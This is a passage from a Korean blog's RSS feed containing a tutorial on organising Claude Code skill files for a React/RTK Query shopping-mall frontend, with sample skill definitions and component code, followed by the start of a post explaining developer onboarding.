&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  운영 사이클&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;1. 개발 중 패턴 발견
2. 스킬 생성
3. 실제 사용
4. 문제 발생
5. 스킬 수정&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  이 루프가 핵심입니다&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  실제로 자주 발생하는 문제&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;❌ 문제 1: 스킬이 너무 많음&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  해결: 통합 or 계층 재설계&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;❌ 문제 2: 트리거 충돌&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  해결: description 명확화&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;❌ 문제 3: AI가 스킬 무시&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  해결:&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;description 개선&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;예제 추가&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;직접 호출&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  고급 개념: &amp;ldquo;Skill = Prompt Engineering의 진화형&amp;rdquo;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;기존 방식:&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;&quot;&gt;&lt;code&gt;매번 프롬프트에 규칙 작성&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;Skills 방식:&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;&quot;&gt;&lt;code&gt;규칙을 외부화 + 재사용&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  즉:&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  &lt;b&gt;&amp;ldquo;지속 가능한 프롬프트 시스템&amp;rdquo;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  최종 구조 (실무 템플릿)&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;sqf&quot;&gt;&lt;code&gt;.claude/skills/

01-foundation/
  dev-standards.skill
  error-handling.skill

02-domain/
  order.skill
  payment.skill

03-task/
  api.skill
  component.skill

04-workflow/
  feature.skill
  release.skill&lt;/code&gt;&lt;/pre&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  React 쇼핑몰 프론트엔드 Skills 풀세트&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;i&gt;&amp;mdash; RTK Query + Feature 기반 아키텍처 기준&lt;/i&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  전체 아키텍처&lt;/span&gt;&lt;/h4&gt;
&lt;pre class=&quot;sqf&quot;&gt;&lt;code&gt;.claude/skills/

01-foundation/
  dev-standards.skill
  error-handling.skill

02-domain/
  product-domain.skill
  cart-domain.skill
  order-domain.skill

03-task/
  api-rtk-query.skill
  component-structure.skill
  form-handling.skill

04-workflow/
  feature-development.skill
  api-integration.skill&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;1️⃣ Foundation Layer&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  &lt;code&gt;dev-standards.skill&lt;/code&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;sql&quot;&gt;&lt;code&gt;## Description
Apply global coding standards for React + TypeScript project

## Rules
- Use TypeScript strict mode
- Do not use `any`
- Use functional components only
- Use absolute import paths (@/)

## Component Rules
- Separate container and presentational components
- Keep components under 200 lines

## Naming
- Components: PascalCase
- hooks: useSomething
- variables: camelCase

## Examples

// ❌ Bad
const data: any = fetch('/api')

// ✅ Good
const data: Product[] = await apiClient.get('/products')&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  &lt;code&gt;error-handling.skill&lt;/code&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;## Description
Standard error handling pattern

## Rules
- API errors must be normalized
- UI must not directly expose raw error
- Use toast or error boundary

## Example

try {
  await dispatch(createOrder())
} catch (error) {
  showToast(&quot;주문 실패&quot;)
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;2️⃣ Domain Layer&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  &lt;code&gt;product-domain.skill&lt;/code&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;## Description
Handles product-related logic

## Rules
- Product must have id, name, price, stock
- Always validate stock before purchase
- Use ProductCard for UI

## Example

export interface Product {
  id: string
  name: string
  price: number
  stock: number
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  &lt;code&gt;cart-domain.skill&lt;/code&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;clean&quot;&gt;&lt;code&gt;## Description
Handles cart logic

## Rules
- Cart must persist in localStorage
- Quantity cannot exceed stock
- Use centralized cart slice

## Example

addToCart(product) {
  if (product.stock &amp;lt;= 0) throw Error(&quot;Out of stock&quot;)
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  &lt;code&gt;order-domain.skill&lt;/code&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;crmsh&quot;&gt;&lt;code&gt;## Description
Handles order flow

## Rules
- Order must validate cart state
- Must include payment status
- Use OrderService abstraction

## Flow
1. validateCart
2. createOrder
3. processPayment&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;3️⃣ Task Layer (핵심)&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  &lt;code&gt;api-rtk-query.skill&lt;/code&gt; ⭐ (핵심)&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;sql&quot;&gt;&lt;code&gt;## Description
Create API layer using RTK Query

## Rules
- Use createApi
- Separate by domain
- Use tagTypes for cache

## Example

export const productApi = createApi({
  reducerPath: 'productApi',
  baseQuery: fetchBaseQuery({ baseUrl: '/api' }),
  tagTypes: ['Product'],
  endpoints: (builder) =&amp;gt; ({
    getProducts: builder.query&amp;lt;Product[], void&amp;gt;({
      query: () =&amp;gt; '/products',
      providesTags: ['Product']
    })
  })
})&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  &lt;code&gt;component-structure.skill&lt;/code&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;sql&quot;&gt;&lt;code&gt;## Description
Standard React component structure

## Rules
- Separate UI and logic
- Use hooks for logic
- No API calls inside UI component

## Example

// Container
export function ProductListContainer() {
  const { data } = useGetProductsQuery()
  return &amp;lt;ProductList products={data} /&amp;gt;
}

// UI
export function ProductList({ products }) {
  return &amp;lt;div&amp;gt;{products.map(...)} &amp;lt;/div&amp;gt;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  &lt;code&gt;form-handling.skill&lt;/code&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;sql&quot;&gt;&lt;code&gt;## Description
Handle forms using react-hook-form

## Rules
- Use react-hook-form
- Validate before submit
- No uncontrolled inputs

## Example

const { register, handleSubmit } = useForm()

&amp;lt;form onSubmit={handleSubmit(onSubmit)}&amp;gt;
  &amp;lt;input {...register(&quot;email&quot;)} /&amp;gt;
&amp;lt;/form&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;4️⃣ Workflow Layer&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  &lt;code&gt;feature-development.skill&lt;/code&gt; ⭐&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;sql&quot;&gt;&lt;code&gt;## Description
Standard feature development flow

## Steps
1. Define API contract
2. Create RTK Query API
3. Create container component
4. Create UI component
5. Add loading &amp;amp; error handling
6. Write basic test&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  &lt;code&gt;api-integration.skill&lt;/code&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;gauss&quot;&gt;&lt;code&gt;## Description
Integrate API into UI

## Rules
- Always handle loading
- Always handle error
- Use skeleton UI

## Example

if (isLoading) return &amp;lt;Skeleton /&amp;gt;
if (error) return &amp;lt;ErrorMessage /&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  실제 React 프로젝트 구조&lt;/span&gt;&lt;/h4&gt;
&lt;pre class=&quot;stylus&quot;&gt;&lt;code&gt;src/
├── app/
│   └── store.ts
├── features/
│   ├── product/
│   │   ├── api/
│   │   │   └── productApi.ts
│   │   ├── components/
│   │   │   ├── ProductList.tsx
│   │   │   └── ProductCard.tsx
│   │   ├── containers/
│   │   │   └── ProductListContainer.tsx
│   │   └── types.ts
│   │
│   ├── cart/
│   └── order/
│
├── shared/
│   ├── components/
│   ├── hooks/
│   └── utils/&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  실제 코드 샘플 (핵심 흐름)&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  productApi.ts&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;coffeescript&quot;&gt;&lt;code&gt;import { createApi, fetchBaseQuery } from '@reduxjs/toolkit/query/react'

export const productApi = createApi({
  reducerPath: 'productApi',
  baseQuery: fetchBaseQuery({ baseUrl: '/api' }),
  tagTypes: ['Product'],
  endpoints: (builder) =&amp;gt; ({
    getProducts: builder.query({
      query: () =&amp;gt; '/products'
    })
  })
})

export const { useGetProductsQuery } = productApi&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  ProductListContainer.tsx&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;javascript&quot;&gt;&lt;code&gt;import { useGetProductsQuery } from '../api/productApi'
import { ProductList } from '../components/ProductList'

export function ProductListContainer() {
  const { data, isLoading, error } = useGetProductsQuery()

  if (isLoading) return &amp;lt;div&amp;gt;Loading...&amp;lt;/div&amp;gt;
  if (error) return &amp;lt;div&amp;gt;Error&amp;lt;/div&amp;gt;

  return &amp;lt;ProductList products={data} /&amp;gt;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  ProductList.tsx&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;javascript&quot;&gt;&lt;code&gt;export function ProductList({ products }) {
  return (
    &amp;lt;div&amp;gt;
      {products.map((p) =&amp;gt; (
        &amp;lt;div key={p.id}&amp;gt;{p.name}&amp;lt;/div&amp;gt;
      ))}
    &amp;lt;/div&amp;gt;
  )
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  실무에서 이 구조의 핵심 가치&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;1️⃣ AI가 &amp;ldquo;팀 규칙대로 코드 작성&amp;rdquo;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  그냥 이렇게 말하면:&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;1c&quot;&gt;&lt;code&gt;&quot;상품 리스트 페이지 만들어줘&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;Claude는:&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;api-rtk-query.skill&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;component-structure.skill&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;product-domain.skill&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;feature-development.skill&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  자동으로 조합해서 생성&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;2️⃣ 코드 스타일이 절대 흔들리지 않음&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;누가 작성하든 동일한 구조&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;리뷰 비용 감소&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;3️⃣ 신입 + AI 둘 다 온보딩 해결&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  사람 + AI 동일 시스템&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;⚠️ 실무 팁 (진짜 중요)&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;❗ 반드시 해야 할 것&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;1. Example 많이 넣기&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  AI는 규칙보다 예제를 더 잘 따른다&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;2. Anti-pattern 작성&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;sql&quot;&gt;&lt;code&gt;## Anti-pattern
- Do not call fetch directly
- Do not mix UI and logic&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;3. 스킬은 작게 쪼개기&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  절대 &amp;ldquo;frontend.skill&amp;rdquo; 이런 거 만들지 마세요&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  결론&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  이 구조의 본질은 &amp;ldquo;코드 자동화&amp;rdquo;가 아닙니다&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  &lt;b&gt;&amp;ldquo;개발팀의 일하는 방식을 코드로 고정하는 것&amp;rdquo;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;</description>
      <category>ClaudeCode/Claude Code 확장하기</category>
      <author>헬로우월드</author>
      <guid isPermaLink="true">https://sundaland.tistory.com/1120</guid>
      <comments>https://sundaland.tistory.com/1120#entry1120comment</comments>
      <pubDate>Thu, 9 Apr 2026 16:38:06 +0900</pubDate>
    </item>
    <item>
      <title>Onboarding</title>
      <link>https://sundaland.tistory.com/1119</link>
      <description>&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  온보딩(Onboarding)이란?&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;온보딩(Onboarding)&lt;/b&gt;은&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  새로운 사람이 조직이나 시스템에 들어왔을 때&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  &lt;b&gt;빠르게 적응하고 제대로 일할 수 있도록 돕는 과정&lt;/b&gt;입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  한 줄 정의&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  &lt;b&gt;&amp;ldquo;처음 온 사람이 바로 실무에 투입될 수 있게 만드는 적응 시스템&amp;rdquo;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  실무에서의 온보딩 의미&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt; &amp;zwj;  개발 조직 기준&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;신입 개발자가 들어오면 단순히 계정만 주는 게 아니라:&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  프로젝트 구조 이해&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  아키텍처 파악&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  코딩 규칙 숙지&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;⚙️ 개발 환경 세팅&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  개발 프로세스 이해&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  이런 것들을 &lt;b&gt;체계적으로 전달하는 과정&lt;/b&gt;이 온보딩입니다&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  온보딩에 포함되는 것들&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;1️⃣ 환경 세팅&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;Git, IDE, Docker 등 설치&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;프로젝트 실행 방법&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;2️⃣ 코드베이스 이해&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;디렉토리 구조&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;주요 모듈 역할&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;데이터 흐름&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;3️⃣ 개발 규칙&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;코딩 스타일&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;브랜치 전략&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;커밋 규칙&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;4️⃣ 업무 프로세스&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;이슈 관리 방식 (Jira 등)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;PR 리뷰 문화&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;배포 절차&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
